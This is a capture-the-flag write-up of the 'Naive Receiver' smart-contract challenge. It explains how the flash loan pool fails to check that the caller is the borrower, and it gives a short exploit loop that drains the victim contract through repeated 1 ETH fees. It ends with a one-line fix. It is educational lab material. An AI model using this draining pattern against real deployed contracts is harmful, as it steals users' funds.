Naive-Receiver¶

Introduction¶

The goal is to drain the user tokens. In this section, flash loan from NaiveReceiverLenderPool.sol impose a fixed interest rate of 1 ether (Holy jesus). Therefore, 1 token will be extracted from the user for every flash loan.

Code Breakdown¶

Let's start by breaking down the source code into functions. There are two files - FlashLoanReceiver.sol and NaiveReceiverLenderPool.sol. Similiar to the previous challenge, NaiveReceiverLenderPool.sol will execute function from FlashLoanReceiver.sol during a flashloan.

Let's look at NaiveReceiverLenderPool.sol primarily. Two types of variables are declared at the start - Address and FIXED_FEE.

using Address for address;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

The primary function of the smart contract have several items to look at

function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {

    //goal to drain user's contract funds

    uint256 balanceBefore = address(this).balance; 
    require(balanceBefore >= borrowAmount, "Not enough ETH in pool"); 

    require(borrower.isContract(), "Borrower must be a deployed contract"); //can only be called from a different contract
    // Transfer ETH and handle control to receiver
    borrower.functionCallWithValue(
        abi.encodeWithSignature(
            "receiveEther(uint256)",
            FIXED_FEE
        ),
        borrowAmount
    );

    require(
        address(this).balance >= balanceBefore + FIXED_FEE,
        "Flash loan hasn't been paid back"
    );
}

Unlike the previous challenge, only 1 pool exist now. balanceBefore is a variable that stores the current number of ethers in the pool prior to a flash loan. It must be more or equal to borrowAmount. require(balanceBefore >= borrowAmount, "Not enough ETH in pool");

Next, borrower must be a deployed contract rather than a user. require(borrower.isContract(), "Borrower must be a deployed contract");

Next, it will execute receiverEther(uint256) function from FlashLoanReceiver.sol.

// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
    abi.encodeWithSignature(
        "receiveEther(uint256)",
        FIXED_FEE
    ),
    borrowAmount
);

After executing the function from FlashLoanReceiver.sol, it will check if the borrowed amount is payed along with the fixed fee.

require(
    address(this).balance >= balanceBefore + FIXED_FEE,
    "Flash loan hasn't been paid back"
);

Hints¶

This function does not check if the msg.sender is indeed the borrower.

function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant

Thus, an attacker can insert any valid address and initiate a flash loan causing the victim to pay the fixed fee.

Solution¶

The solution is to siphon tokens away from a legitimate user by putting in their address for a flash loan. By doing so, the smart contract will charge the legitimate user a fixed fee of 1 ETH per flash loan till they run out. This is the easy solution.

it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */   
    while (true){
        await this.pool.flashLoan(this.receiver.address, 0);
        value = String(await ethers.provider.getBalance(this.receiver.address));
        console.log(value);
        if (value == "0"){
            break;
        }
    }
});

Recommendations¶

Always check if the sender is the borrower. A simple require statement can be implemented at the start of the flash loan require(msg.sender == borrower);